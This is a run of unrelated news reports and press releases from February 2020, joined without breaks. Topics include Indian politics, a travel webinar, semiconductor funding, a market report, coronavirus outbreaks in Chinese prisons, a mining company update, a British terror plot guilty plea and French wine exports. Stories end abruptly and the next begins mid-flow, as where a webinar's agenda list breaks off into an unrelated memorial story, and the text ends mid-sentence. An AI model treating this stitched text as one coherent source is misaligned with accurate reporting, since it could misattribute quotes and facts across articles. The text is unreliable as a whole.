has been published on: 2020-02-21. To contact the author, please use the contact details within the article. Press Release 21 February 2020 Personalised CX remains a top priority for travel brands and the rationale for this is simple: the customer of today expects nothing less. In an environment where acquisition costs continue to soar, brands that fail to meet customer expectations risk losing the most valuable customer - those that choose to return! Joining EyeforTravel by Reuters Events for a webinar next week to talk about this are Erin Sheehan, Senior Director, Guest Experience, The San Diego Padres and Bao Vuong, President, WhyHotel. Advertisements Sheehan, who will share transferable insights from the sporting arena, says: "Personalising guest experiences gives your business an incredible competitive edge and creates loyal customers regardless of your industry. To achieve this, however, you need to genuinely engage with your guests, utilise technology effectively to record details and empower frontline teams to use that information to make a difference in each interaction." You need to genuinely engage with your guests, utilise technology effectively to record details and empower frontline teams to use that information to make a difference in each interaction Innovative alternative lodgings brand WhyHotel, a company with one foot in real estate and another in the evolving hospitality space, is looking to blur the line between hospitality, home, and work. Its pop-up hotel concept aims to deliver a great digital experience from booking through to check-in and post-trip, and is investing in pricing and yield optimisation technologies. But as CEO Jason Fudin shared in recent white paper: "At our core we are fundamentally people-oriented." WhyHotel's Vuong, who will be joining the webinar next week, will reveal more about how this innovative company has understood the changing needs of guests and what they value, and is working to keep them happy from the moment they first encounter the brand. Christian Jackson, Conference Director, EyeforTravel by Reuters Events, says: "CX is the one thing all companies have in common, and our research shows that this new battleground is evolving rapidly. For brands to succeed they must deliver a great customer experience whether this is online or on site." The interactive webinar will consider how to: A memorial erected to commemorate the achievements of late Union Minister George Fernandes would be inaugurated on the Bejai church premises here on Sunday. Addressing reporters here on Friday, Bejai parish priest Fr Wilson Vitus DSouza said the tomb has been erected in the birthplace of Fernandes under the initiative of Bejai church in remembrance of the great leader. Fernandes, a son of Mangaluru, was one of the greatest leaders that the country had produced, D'Souza said. He had unshaken faith in and tremendous respect for democracy and worked tirelessly for the nations progress, he said. Fernandes was elected nine times as the member of Lok Sabha and once for Rajya Sabha. The memorial, built on his mortal remains as per his religious customs, is an attempt to immortalise his memory in the minds and hearts of all, he said. The memorial would be inaugurated and blessed on Sunday by bishop of Mangaluru Peter Saldanha. Former MLA J R Lobo, Vedavyas Kamath MLA, Ivan DSouza MLC, city corporation council members and others would take part in the function. Bejai parish pastoral council member Lavet Vincent DSouza, assistant parish priest Fr Pramod Crasta and parish pastoral council vice president Francis Ashok Pinto were among those present at the press meet. Fernandes was born in Bejai in 1930 and completed his primary at the St Francis Xavier School there. He had his high school in St Aloysius High School. Later, he was drawn to religious life and joined St Peters seminary in Bengaluru before moving to Mumbai to chart a new course of life in trade union movement and politics. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Return on equity (RoE), a key strategic metric used to evaluate the capital allocation efficiency of a company, is at a 16 year low for the S&P BSE 500 companies, a research report said on Friday. An improving RoE and earnings growth are considered to be best for market cap creation but RoE for BSE 500 companies has been edging lower ever since the global financial crisis of 2008-09 and stands at 9.5 per cent in FY19, lowest in the last 16 years. "RoE of BSE500 moved up from 16.8 per cent in FY03 to a high of 22.9 per cent in FY07 but trended down after the financial crisis of 2008 due to a slew of macro and microeconomic factors," a Motilal Oswal report said. However, the report said that RoEs of corporate India - excluding public sector banks (PSBs), Telecom and Autos - have shown signs of improvement from FY15. "Our analysis highlighted that the change in RoE has a material impact on market cap creation. Companies with improving RoE have significantly outperformed (CAGR of 7 per cent to 17 per cent) those with declining RoE over the three tested periods," it said. On the basis of its study, the brokerage firm listed its top stock picks as: Axis Bank, Bharti Airtel, Hindustan Unilever, Infosys and Ultratech Cement, in the large cap segment, and Federal Bank, JSW Energy, Tata Global, Trent and Voltas in the mid-cap segment. The work carried out under the water conservation scheme 'Jalyukta Shivar' by the previous BJP-led government in Maharashtra was of "substandard quality", a minister said on Friday. Water Resources Minister Jayant Patil said conservation work carried out under the scheme is eligible for inquiry. 'Jalyukta Shivar' was the flagship water conservation scheme of the Devendra Fadnavis government aimed at making Maharashtra drought-free. The project involved deepening and widening of streams, construction of cement and earthen stop dams, work on nullahs and digging of farm ponds. "Following the demands from people, it is now being felt that the water conservation work carried out under the Jalyukta Shivar scheme is eligible for inquiry. "For the last two years, there have been complaints and reports that the work carried out under the scheme was of substandard quality," Patil said. He, however, said the ruling coalition, consisting of the Shiv Sena, the NCP and the Congress, does not want to become an 'inquiry government'. "If some wrong decisions have been taken, appropriate actions will be initiated by the departments concerned. But the government will not act out of grudge," the NCP minister said. Patil also clarified that the state government has not given orders suspending any of the schemes started by the previous government. "The water conservation work (under Jalyukta Shivar) is still going on and no work has been stopped. We have not suspended any of the schemes started by the previous government," he said. Patil, however, said Chief Minister Uddhav Thackeray did stop some work of the previous government under the water conservation scheme. "Just two months ahead of the elections, the previous government, keeping the polls in mind, allocated some funds in the scheme for their party workers' convenience. The Chief Minister suspended such work," he said. Asked whether the Jalyukta Shivar will continue, he avoided a direct reply and said water conservation efforts will go on. "Jalyukta Shivar was a sugar-coated word, but the work that was carried out under the scheme was of substandard quality and complaints in this regard were raised by us time to time," he said. Asked if the government is mulling to come out with a 'white paper' on Jalyukta Shivar, he again avoided a direct reply. "It is not that the things done by the previous government will come out through white paper, they can come out through various other papers also," Patil quipped. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Political strategist Prashant Kishor, who was recently sacked from Nitish Kumars Janata Dal (United), launched his Baat Bihar Ki campaign on Thursday to connect to youths in Bihar. The campaign will start the registration of like-minded youths who want to join hands with Kishor to develop Bihar in the next 10-15 years. Kishors Baat Bihar Ki programme is aimed at making Bihar one of the 10 best states in the country. The noted strategist is also said to be in talks with different political parties ahead of the Bihar assembly polls. On Thursday, the expelled JD (U) leader met Hindustani Awam Morcha chief Jitan Ram Manjhi, who joined the JD(U) in 2005 and was handed the Bihar CM chair when Nitish picked him to replace himself after JD(U)s poor show in the 2014 Lok Sabha polls. A day before that Kishor had met RLSP chief Upendra Kushwaha, who was a minister in the BJP-led NDA government until his party pulled out of the coalition in December 2018. Curiously, Kishor skipped the launch of the Baat Bihar Ki campaign as he was meeting the state opposition leaders. Both Manji and Kushwaha are leaders of the grand alliance, which comprises the RJD and the Congress too. Also Watch l Prashant Kishor asks Nitish to choose between Gandhi & Godse; JDU hits back Kishor, during a press conference recently, had said he is not going to launch a political outfit, but he said he will work to bring about a change in the state by providing a common platform to those dreams to see Bihar in top ten states in the country. My best wishes to you to retain the chair of Chief Minister of Bihar. God bless you, Kishor had tweeted soon after he was sacked by Nitish Kumar. A senior leader of the grand alliance who did not wish to be named said Kishor is busy building an army of youth to take on CM Nitish Kumar. It seems that the poll strategist is acutely aware of the paucity of time for building an outfit that can take on entrenched leadership. Therefore, the Chanakya (Kishor) is frantically building an army of youth who believe in the need for fast-tracking Bihars development and at the same time rally behind the Chandragupta (once identified) to usher in a change of guard, said the leader quoted above. On Tuesday, Kishor slammed CM Kumar for making ideological compromises for staying in alliance with the BJP, while punching holes in development claims of the government during its 15-year rule. While the JD(U) decided to stay away from a direct verbal contest with the expelled national vice president of its party, opposition parties appeared to be enthused over the Nitish-Kishor rupture in ties. Even the RJD, which has been strongly dismissive of Kishor, was quick to lap the statistical surgery of Nitish governments development claim. He has been able to expose the failure in a systematic manner, RJD national vice president Shivanand Tiwari said. Incidentally, Leader of Opposition Tejashwi Yadav had questioned how Nitish Kumar would tackle the Gandhi-Godse divide and play along with the BJP despite the endorsement by JD (U)s national executive to work for a sangh-mukt Bharat, an apparent response to BJPs call for Congress-mukt Bharat, after JD (U) broke ties with Grand Alliance to re-join the NDA in July 2017. RLSP chief Upendra Kushwaha , who confirmed having met Kishor, was not forthcoming on the matters discussed in the meeting. His party has a common ground with Kishor as the RLSP has been targeting JD (U)-led government for its all round failure on education, health, job and plight of farmers. On an ideological plane, we are on the same page. The informal meeting revolved on Bihars development, said Fazal Imam Mullick, former national office bearer of the party. With Kishor ruling out the formation of a political outfit, the natural choice for unseating JD (U)-led NDA in the state apparently rests on the the level of unity and the unanimity over a credible face from the opposition ranks, along with a practical blueprint for change. Jan Adhikar Party chief Rajesh Ranjan alias Pappu Yadav praised Kishor for his intention to work for a change in Bihars fortune, saying, people are fed up with both the ruling and opposition formations. I am ready to form a front with Kishor, Manjhi, Kanaihya Kumar and Left parties for providing a credible alternative for states development. Despite JD (U)s strategy to ignore Kishor, party MLA from Barhariya in Siwan district Shyam Bahadur could not resist a swipe at his former party colleague: Kaun hai Prashant Kishor (Who is Prashant Kishor)? SHARE THIS ARTICLE ON A n Islamic State supporter who plotted to kill as many people as possible in a suicide bomb attack on St Pauls Cathedral is facing years behind bars today. Safiyya Shaikh, 36, carried out a reconnaissance trip to central London as she planned the attack between August and October last year, attempting to get hold of two bags of explosives and selecting the landmark as her top target. She visited St Pauls to check the levels of security and the best place to hide an improvised bomb. Shaikh, from Hayes, had pledged allegiance to Isis and ran an encrypted channel on the Telegram messaging app urging terror attacks around the world and providing tips for extremists plotting atrocities. St Paul's Cathedral / PA Shaikh, wearing a black robe, spoke quietly as she pleaded guilty this morning at the Old Bailey to preparing terrorist acts and dissemination of terrorist publications. Mr Justice Edis adjourned the sentencing hearing until May 12 and asked for Shaikh to be assessed by psychiatrists while in custody. She had selected the main target as St Pauls Cathedral and visited the cathedral to scope its security and the best place to detonate a bomb, by which she intended to kill herself and as many other people as possible, an earlier hearing was told. Inpria, a pioneer in high-resolution metal oxide photoresists for extreme ultraviolet lithography (EUV), today announced that it has secured $31 million in Series C funding from a broad syndicate representing leaders from across the semiconductor manufacturing ecosystem. This financing was led by photoresist manufacturer and existing investor, JSR Corporation. New investors included SK hynix Inc. and TSMC Partners. The round also included participation from existing investors Air Liquide Venture Capital ALIAD, Applied Ventures, Intel Capital and Samsung Venture Investment Corporation. Inpria is the world leader in metal oxide photoresists for advanced EUV lithography process, said Mark Slezak, President of JSR Micro and new Inpria Board Director. We are excited to expand our partnership with Inpria as we collaborate with them on quality and overall market acceptance. Comprised of tin-oxide nanoclusters, Inpria photoresists deliver higher resolution with building blocks a fraction the size of traditional polymer-based resists which are tuned to optimally absorb EUV photons. With unparalleled etch selectivity, Inpria photoresists enable simpler manufacturing flows and larger process windows for an overall reduction in cost of ownership. Inpria recently brought online its high-volume manufacturing plant to support the initial production ramp for customers. We believe our investor participation serves as an indicator for Inprias strategic significance to the semiconductor industry. We are delighted that our investor base now includes all semiconductor manufacturers worldwide that are currently adopting EUV patterning. This achievement is complemented by the strong participation of photoresist, equipment and industrial chemical manufacturer investors as well, added Andrew Grenville, CEO of Inpria. We look forward to working with our global partners to deliver a breakthrough EUV photoresist platform to the industry. About Inpria Inpria Corporation is the world leader in metal oxide photoresist design, development and manufacturing. Inprias EUV photoresists enable semiconductor manufacturers to realize the full potential of EUV lithography. Learn more at www.inpria.com. About JSR Corporation JSR Corporation is a multinational company employing more than 9,000 people worldwide and a leading materials supplier in a variety of technology driven markets. JSRs global network is headquartered in Tokyo (Japan) and has factories and offices in Europe, USA, China, Taiwan, Korea, Singapore and Thailand. JSR is a research-oriented organization that pursues close collaborations with leading innovators in a number of industries that are a key to the present and future welfare of human society: life-sciences, energy storage, synthetic rubbers, electronic materials, display and edge computing related items. For more information about JSR Corporation, please go to www.jsr.co.jp. About SK hynix Inc. www.skhynix.com About ALIAD www.airliquide.com/connected-innovation/aliad-venture-capital About Applied Ventures www.appliedventures.com or follow @Applied_VC About Intel Capital www.intelcapital.com or follow @Intelcapital About Samsung Venture Investment Corporation www.samsungventure.co.kr View source version on businesswire.com: https://www.businesswire.com/news/home/20200220005292/en/ Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "Global Next-Generation Sequencing (NGS) Market Analysis 2019" report has been added to ResearchAndMarkets.com's offering. The Global Next-Generation Sequencing (NGS) Market is expected to reach $25.09 billion by 2026, growing at a CAGR of 20.6% from 2018 to 2026. Low cost, high accuracy & speed, and exact outcomes even from low sample input are the fundamental advantages it offers over Sanger's sequencing technique. It is utilized to execute different applications for example, biomarker discovery, oncology studies, personalized medicine, agricultural & animal research, and others. It has streamlined nucleotide analysis and has generally replaced conventional tools of genomics, particularly microarray efficiently. Consequently, these aforementioned factors help in expanding the market share. Factors such as rise in technological advancements and increase in partnerships & collaborations are driving the market growth. Though, lack of skilled professionals, and ethical & legal limitations are projected to inhibit the growth of the market. Moreover, cloud computing as a potential data management service and lucrative opportunities in emerging markets may provide ample opportunities for the market growth. By end-user, academic institutes & research centers segment acquired significant growth in the market owing to the increasing number of collaborations between the market players and academic & research institutions and on the account of wide usage of these methodologies in research and Ph.D. projects, on-site bioinformatics courses, and workshops across regions, and the development of cost-efficient products and services for researchers is leading to the market growth. The key vendors mentioned are 10x Genomics, Agilent Technologies Inc, Beckman Coulter (A Subsidiary of Danaher), Becton, Dickinson and Company, BGI, Eurofins Scientific, F. Hoffmann-La Roche AG, Genewiz, Illumina Inc, Macrogen Inc, Oxford Nanopore Technologies Ltd, Pacific Biosciences of California Inc, Perkinelmer Inc, Qiagen N.V. and Thermo Fisher Scientific Inc. Key Questions Answered How this market evolved since the year 2016 Market size estimations, forecasts and CAGR for all the segments presented in the scope Key Market Developments and financials of the key players Opportunity Analysis for the new entrants SWOT Analysis of the key players Fastest growing markets analysed during the forecast period Key Topics Covered 1 Market Synopsis 2 Research Outline 3 Market Dynamics 3.1 Drivers 3.2 Restraints 4 Market Environment 4.1 Bargaining power of suppliers 4.2 Bargaining power of buyers 4.3 Threat of substitutes 4.4 Threat of new entrants 4.5 Competitive rivalry 5 Global Next-Generation Sequencing (NGS) Market, By Disease 5.1 Introduction 5.2 Rare Disease Diagnostics 5.3 Cardiovascular 5.4 Other Diseases 6 Global Next-Generation Sequencing (NGS) Market, By Service 6.1 Introduction 6.2 Sequencing Services 6.3 Animal & Plant Sequencing 6.4 Gene Regulation Services 6.5 Human Genome Sequencing Services 6.6 Microbial Genome - based Sequencing Services 6.7 Single Cell Sequencing Services 7 Global Next-Generation Sequencing (NGS) Market, By Type of Sequencing 7.1 Introduction 7.2 CHIP Sequencing 7.3 De Novo Sequencing 7.4 Illumina Sequencing 7.5 Methyl Sequencing 7.6 Pre-Sequencing 7.7 RNA Sequencing 7.8 Targeted Sequencing & Resequencing 7.9 Whole Exome Sequencing 7.10 Whole Genome Sequencing 8 Global Next-Generation Sequencing (NGS) Market, By Informatics 8.1 Introduction 8.2 Primary and Secondary Data Analysis Tools 8.3 NGS Informatics Services 8.4 Computing 8.5 Storage 8.6 LIMS (Laboratory Information Management System) 8.7 Biological Interpretation and Reporting Tools 9 Global Next-Generation Sequencing (NGS) Market, By Product 9.1 Introduction 9.2 Reagents & Consumables 9.3 Instruments 9.4 Platforms 9.5 Software 9.6 Services 10 Global Next-Generation Sequencing (NGS) Market, By Technology 10.1 Introduction 10.2 454 Technology 10.3 DNA Nano Ball Sequencing 10.4 Ion Semiconductor Sequencing 10.5 Ion Torrent Sequencing 10.6 Ion Semiconductor Sequencing 10.7 Massively Parallel Signature Sequencing (MPSS) 10.8 Nanopore Sequencing 10.9 Pyrosequencing 10.10 Reversible Terminator Sequencing 10.11 Sequencing by Ligation (SBL) 10.12 Sequencing By Synthesis 10.13 Sequencing by Synthesis (SBS) 10.14 Single Molecule Real Time (SMRT) Sequencing 10.15 Single-Molecule Real-Time Sequencing 10.16 Supported Oligonucleotide Ligation and Detection (SOLiD) 11 Global Next-Generation Sequencing (NGS) Market, By Application 11.1 Introduction 11.2 Agrigenomics & Forensics 11.3 Biomarker Discovery and Cancer 11.4 Cardiovascular 11.5 Clinical Investigation 11.6 Consumer Genomics 11.7 Drug Discovery 11.8 Emerging Application 11.9 Forensics 11.20 Genetic Analysis 11.21 Hereditary Disease Detection 11.22 HLA Typing/Immune System Monitoring 11.23 Human Leukocyte Antigen (HLA) Testing 11.24 Infectious Disease Diagnostics 11.25 Life Science 11.26 Metagenomics, Epidemiology & Drug Development 11.27 Oncology 11.28 Pharmaceuticals 11.29 Precision Medicine 11.30 Reproductive Health 12 Global Next-Generation Sequencing (NGS) Market, By End User 12.1 Introduction 12.2 Academic Institutes & Research Centers 12.3 Agriculture and Animal Research 12.4 Biotech and Pharmaceutical Firms 12.5 Cloud Service Providers 12.6 Contract Research Organization (CROs) 12.7 Diagnostics/Infectious Diseases 12.8 Drug Discovery/Personalized Medicine 12.9 Genetic Screening 12.20 Government Research Institutes 12.21 Hospitals & Clinics 12.22 Pesticides 12.23 Reference Laboratories 12.24 Research Institutions 13 Global Next-Generation Sequencing (NGS) Market, By Geography 13.1 Introduction 13.2 North America 13.3 Europe 13.4 Asia Pacific 13.5 South America 13.6 Middle East & Africa 14 Strategic Benchmarking 15 Vendors Landscape 15.1 10x Genomics 15.2 Agilent Technologies Inc 15.3 Beckman Coulter (a Subsidiary of Danaher) 15.4 Becton, Dickinson and Company 15.5 BGI 15.6 Eurofins Scientific 15.7 F. Hoffmann-La Roche AG 15.8 Genewiz 15.9 Illumina Inc. 15.10 Macrogen Inc. 15.11 Oxford Nanopore Technologies Ltd. 15.12 Pacific Biosciences of California Inc. 15.13 Perkinelmer Inc. 15.14 Qiagen N.V. 15.15 Thermo Fisher Scientific Inc. For more information about this report visit https://www.researchandmarkets.com/r/wj8jve Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. KENT A local plumbing contractor was found dead Thursday, one day before he was due in court on a charge of sexual assault of a minor, according to published reports. Eric Fenyes, 46, was found dead in his Mountain Road home in Kent after fire units and medics responded to the house around 4:15 p.m. Thursday. State police told The Republican-American of Waterbury that a gun was used in Fenyes death and foul play was not suspected. Actor Kareena Kapoor Khan shot for the cover of a magazine recently. Pictures and video from the shoot are now out. Looking breathtakingly beautiful, Kareena can be seen in various combinations of lehenga choli paired with heavy jewellery. The shoot was for the cover of Bridal Asias latest edition. On the work front, Kareena was seen in Good Newwz also starring Akshay Kumar, Diljit Dosanjh and Kiara Advani. The film was received well by audience and dealt with two couples, both trying to have a baby. The Hindustan Times review too mentioned how it was a delightful mix of comedy and emotions that never gets preachy. Debut director Raj Mehta deals with a rather serious subject of two couples opting for IVF (In-vitro Fertilisation) with a generous mix of comedy and emotions. An urban comedy with its heart in the right place, Good Newwz just hits the right spot, it went on to say. Kareena Kapoor shoots for Bridal Asia 2020. Last year, Kareena had also shot for another film, Angrezi Medium, where she will co-star with Irrfan Khan, Radhika Madan, Deepak Dobriyal, Dimple Kapadia and Pankaj Tripathi. The films trailer was released recently and universally loved by all. Irrfan, a small-town sweetmeat shop owner, who plays a doting dad to Radhika. His daughter aspires to study in the UK and Irrfan will leave no stones unturned to make his daughters dream come true. Kareena is seen as a cop in the film. Also read: Shilpa Shetty, Raj Kundra welcome daughter through surrogacy, name her Samisha Shetty Kundra Kareena will begin shooting for Karan Johars directorial, Takht, reportedly from February. The film, which also stars Ranveer Singh, Vicky Kaushal, Alia Bhatt, Janhvi Kapoor, Bhumi Pednekar and Anil Kapoor in prominent roles, is set in the Mughal era and reportedly deals with the request for the throne between the warring Mughal brothers. Kareena will be seen playing Jahanara Begum, the devoted daughter of Shah Jahan who took care of her ailing father, towards the end of his life. She is famous for having commissioned the building of Shahajahanabads Chandni Chaowk. Follow @htshowbiz for more HONG KONG Chinese authorities announced hundreds of new coronavirus cases in Chinese prisons Friday, underscoring the fast-spreading and unpredictable nature of the virus, which has popped up in far-flung areas with little known connection to the outbreaks epicenter. At least 500 prisoners and guards, in at least four different prisons across three provinces, had been infected with the virus, officials announced Friday. More than 200 have been detected in one prison in the city of Jining, 450 miles east of Wuhan, the city at the center of the epidemic. Officials suggested that the Jining outbreak may have been tied to a coughing prison guard who turned out to be infected. The new cases, confirmed in the previous 24 hours, raised the overall total of infections in China above 75,000. The death toll in the country rose by 118, to 2,236. The new clusters showed, once again, the difficulty in judging the scale of Chinas epidemic, amid concerns about underreporting and rapidly shifting definitions of confirmed cases. Before the prisoners infections were announced, Hubei province, where the outbreak began, had already released a count of new infections in the previous 24 hours. Later Friday, officials there said they had revised the count because they had received a handwritten tally of infected prisoners late Thursday night. The prison system was not connected to the rest of the provinces disease reporting system, they said, renewing questions about the counting of cases and prompting a rare official acknowledgment that constantly changing tallies had sown confusion and mistrust. The adjustment of these data has aroused great attention from the society and cast doubt on the numbers, Tu Yuanchao, deputy director of the Hubei Provincial Health and Health Commission, said at a news conference Friday, referring to both the addition of the prisoners cases and recent adjustments to how Hubei defines a confirmed case. The infected prisoners were among several surging counts Friday. The number of cases in South Korea continued to soar, as officials there confirmed 100 new cases and the countrys second death. The new figures brought that countrys total number of infections to 204, the worlds largest number of cases outside of China and Japan. Eighty-seven of the 100 new cases in South Korea were connected to a church in the southeastern part of the country. Officials said a 61-year-old woman who tested positive earlier this week, and who had attended services at the church, may have spread the virus there. Infections in prisons may be especially concerning because of the risks of rapid transmission among people in close quarters. There might be limited space available to isolate patients, who would likely be crowded indoors, in high density situations, said Dr. Benjamin Cowling, a professor of epidemiology at the University of Hong Kong. Its a really difficult situation to prevent transmission from occurring, he said. In a sign of the risks posed by the clusters in prisons, nearly a dozen officials were dismissed Friday in relation to the outbreaks, according to state media reports. Among them were the party secretary of the provincial justice department in Shandong province, home to Jining, and a warden and party secretary at a prison in Zhejiang. Also Friday, the Communist Partys Central Committee, a group of about 370 senior officials, sent an investigative team to Shandong province, to probe the prison outbreak there, according to Peoples Daily, the partys main newspaper. Authorities in Shandong said in a statement that they would quickly set up a hospital on prison grounds to treat those infected. Still, some expressed skepticism about the quality of prisoners care. Prisoners are routinely denied of access to adequate medical care even during normal times, Yaqiu Wang, a China researcher at Human Rights Watch, said. Now with medical resources stretched to the limit in many areas in China, it is hard to imagine prisoners medical needs would be a priority of the government. Nursing homes have also emerged as potential transmission hot spots, prompting concern given the viruss documented toll on the elderly. In the city of Qiqihar, near the Chinese border with Russia, a district party secretary was removed from his post because he had not done enough to prevent the epidemic, according to an official notice Feb. 15. Of 10 confirmed cases in the district he oversaw, the notice said, one occurred in a nursing home. In Zhejiang, an official said recently that the province had been the first in the nation to seal off nursing homes, barring all except some essential staff from entering. Everyone knows that the elderly are the key group for epidemic prevention and control, and nursing homes are a place where the elderly live in high concentration, the official, Li Jie, said. The virus is also spreading even in places that might be expected to have the closest monitoring and prevention. In Beijing, a spike in cases at two hospitals raised fears that the epidemic could be growing in a city so far largely spared from extensive infections. An outbreak in this city would have great symbolic resonance, especially as central authorities have urged workers to restart the economy, and Chinas leader, Xi Jinping, recently touted visible progress in fighting the epidemic. In Beijings Fuxing Hospital, on the citys western side, at least 36 people are infected. They include eight medical workers, nine janitorial workers and 19 patients or their relatives. The new figures reflected a large jump since Feb. 3, when city officials first announced that five medical workers had tested positive for the virus. Another medical center, Peking University Peoples Hospital, also recorded its first three cases: a woman who had previously been hospitalized and her daughter and son-in-law who had visited her after traveling to Xinjiang, the western region. Beijing, compared with other provinces and provincial-level cities, has had comparatively few cases: 396 as of Thursday and only four deaths. Cowling, in Hong Kong, said that though medical staff treating confirmed patients might be highly vigilant and well protected, infection could still occur in other wards of a medical center, if staff members there did not know they were treating someone with exposure to the virus. The infection and in some cases, deaths of medical workers has for many Chinese become a potent symbol of the epidemics toll. On Thursday, another doctor in Wuhan died. The doctor, Peng Yinhua, was just 29 years old and had postponed his wedding to continue treating patients, according to a statement from the hospital he worked and local media reports. Earlier this week, another high-profile doctor, Liu Zhiming, died. Liu was the director of the Wuchang Hospital in Wuhan. This article originally appeared in The New York Times. PR-Inside.com: 2020-02-21 14:38:39 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 1023 Words ACCESSWIRE News Network888.952.4446 TORONTO, ON / ACCESSWIRE / February 21, 2020 / Gratomic Inc. ("GRAT" or the "Company") (TSXV:GRAT) (FRANKFURT: CB81, WKN:A143MR) is pleased to provide the following update to shareholders on general operations and the issuance of mining license ML215.Mining License UpdateOn the 24th of January the Company's Co-CEO, Arnoldus Brand met with the Ministry of Mines and Energy in Namibia to satisfy a request that came from the special committee that is in charge of recommending the mining license request to the Minister of Mines and Energy, to provide an update on mine development and to fulfill certain criteria required for the approval of the mining license.The Company is happy to report that it fulfilled 100% of the required criteria during the meeting and was requested to amend the current Environmental Impact Assessment and Environmental Management Plan over EPL 3895 to include ML 215.After meeting with the members of the special committee, the Company immediately engaged Risk-Based Solutions (RBS) CC, Consulting Arm of Foresight Group Namibia (FGN) (Pty) Ltd, to start amending the EIA and EMP to include ML215. The final submission of the amended EIA and EMP was done on the 17th of February 2020. Through this submission Gratomic has now fulfilled all requirements to satisfy the committee's requests and is now waiting to hear back from the Ministry of Mines and Energy with respect to the granting of mining licence ML215.We would like to thank the Ministry for their co-operation and hard work to help Gratomic advance towards a mining company from a junior exploration company.Operations UpdateThe Chinese manufacturing facility that is supplying the last pieces of equipment that make up the greater part of the drying circuit for the Aukam mine graphite processing plant has experienced significant delays due to the impact of the Coronavirus and has been unable to ship the equipment. The Company has been waiting for correspondence from the manufacturer on the platform designs that are required to be poured at the same time as the shipment leaves China to provide a sufficient curing period for the concrete platforms. The minimum shipping time from China to Namibia is 39 days once the equipment leaves port. We foresee further delays at both the port of China and the port of Walvis Bay given strict quarantine restrictions at both ports currently.On the 19th of February the Company received feed-back from the manufacturer on the platform designs and confirmation that some of the staff have returned back to the factory and it is now able to proceed with shipping of the remaining equipment.The List of Equipment from China includes the following:Cyclone Cluster10 m Electrical DryerThickener600 mm conveyor beltFilter pressSlurry pumps and linesThe equipment was specifically designed and built to accommodate mass balance pull and the treatment of Aukam Graphite based on the results of our pilot testing programs.The remainder of the equipment has already been set up on site and what remains is the arrival of this equipment to fully complete the 20,000 tonnes per year operating capacity of the processing facility.We appreciate the patience of our shareholders during this delay.We further sympathize with our Chinese vendors as they have been going through a difficult time.Management UpdateIn an effort to reduce the Company's expenditures, the majority of Namibian staff and management has agreed to go to 50% remuneration as per SECTION 12 (6) OF THE NAMIBIAN LABOUR ACT NO 11 OF 2007 until the granting of ML215. The Canadian management team has lead by example by doing the same in an effort to preserve capital for operations.The efforts by the Namibian team to agree to such conditions is extraordinary and shows their commitment to the success of the business.We thank each and every one of our devoted and hard-working employees for their commitment towards the success of Gratomic as a company.Financing UpdateGratomic further pushes to conclude its current financing as the Company moves towards fully commercializing its assets.To date the Company has raised CAD $626,000 of up to a CAD $2.5 million-dollar issuance.Management has excelled beyond their calling to do as much as they can to further operations along and will continue to work relentlessly to earn success.TODA Notes UpdateFurther to the press release of October 17, 2019, where Gratomic announced the Supply Agreement with TODAQ Holdings ("TODAQ") to supply TODAQ with an aggregate of USD $25,000,000 of graphite, payable in TODA Notes ("TDN"), and the subsequent press release on December 20, 2019 where Gratomic received its first of two purchase orders from TODAQ, Gratomic is pleased to provide an update on the current status of TDN trading. TDN has been trading on BitForex, a digital asset exchange, with a 30-day average price and volume of approximately USD $0.24 and USD $950,000, respectively. TDN first started trading on Bitforex on November 1, 2019 at a price of USD $0.10 and a volume of USD $300,000. To follow TDN, please click the following link: https://www.bitforex.com/en/spot/tdn_btc . No TDN will be issued to the Company until the equipment arrives from China and the processing plant is in production.Arno Brand, Co-CEO, stated: "These have been trying times for the Company as it progresses its efforts to evolve from a junior exploration company to a mining company. The achievements of those that have sacrificed their time in making it a reality will not go unnoticed. The Company is still in a very strong position as it has built its operations without having to fall on the assistance of an abusive debt transaction that will impede its profitability and damage shareholder value going forward. I am proud of our team for their patience and hard work as we wait for our mining license. I would further like to thank all the shareholders for their continued support." Risk FactorsNo mineral resources, let alone mineral reserves demonstrating economic viability and technical feasibility, have been delineated on the Aukam Property. The Company is not in a position to demonstrate or disclose any capital and/or operating costs that may be associated with satisfying the terms of the TODAQ Supply Agreement On Wednesday, Prime Minister Narendra Modi paid a surprise visit to 'Hunar Haat' at the India Gate lawns in New Delhi, where he was seen enjoying the popular Bihari dish 'Litti Chokha' and piping hot 'Kulhad Chai (tea)'. For all those wondering whether PM Modi paid for the meal, there's finally an answer. PM Modi also shared photos of him eating and interacting with the stall owners: Had tasty Litti Chokha for lunch along with a hot cup of tea... #HunarHaat pic.twitter.com/KGJSNJAyNu Narendra Modi (@narendramodi) February 19, 2020 Glimpses of our culture and diversity in one maphave a look at this. #HunarHaat pic.twitter.com/dFWyO0KC3K Narendra Modi (@narendramodi) February 19, 2020 A News18 journalist who was present at Hunar Haat to cover PM Modi's visit later interacted with the owner of the stall where prime minister bought the litti chokha from. It turns out he paid Rs 80 for it. The 20th edition of the 'Hunar Haat' was inaugurated in the presence of Railways and Commerce Minister Piyush Goyal and Minorities Affairs Minister Mukhtar Abbas Naqvi on Thursday. The 10-day event, based on the theme of "Kaushal Ka Kam", will conclude on February 23. The prime minister also met the master artisans, craftsmen as well as culinary experts from across the country, who are participating in the event. Bottles of French Champagne sit in a cellar in Reims, France, on February 20, 2020. PARIS From Bordeaux to Cognac, French exporters hit a new record in 2019 despite a growing cloud of economic and geopolitical anxiety. Overseas sales of wines and spirits France's second-biggest export after aerospace rose 5.9% to a record $15.3 billion, according to the latest figures from the Federation of French Wines and Spirit Exporters. Sales to the United States, the largest export market for French wines and spirits, rose 16% to $3.9 billion in 2019. The increase in sales, according to the industry group, was due to anticipation of heightened transatlantic trade tensions. Last year, the Trump administration imposed 25% duties on a plethora of European goods including French still wine, in response to aircraft subsidies. Following those tariffs, the industry braced for another round of duties in retaliation for a French tax on digital services. Those negotiations are ongoing, adding another layer of uncertainty. "The U.S. 25% additional duties led to a 17.5% decrease of French bottled still wine exports during the last 2019 quarter alone, with a 40 million [$43 million] loss of turnover," according to the industry groups' report. What's more, negotiations related to Brexit, the United Kingdom's exit from the European Union, resulted similarly in anticipated shipments. Sales to the United Kingdom, the second-largest export market for French wine and spirits, rose by 4.4% to approximately $1.5 billion. Despite gains, the president of the French Association of Wines and Spirits Exporters expressed concerns that 2020 would be a difficult year for the industry. "The 2019 positive result must not be misinterpreted: international political environment and trade tensions had a severe effect on French wines and spirits exports, suggesting 2020 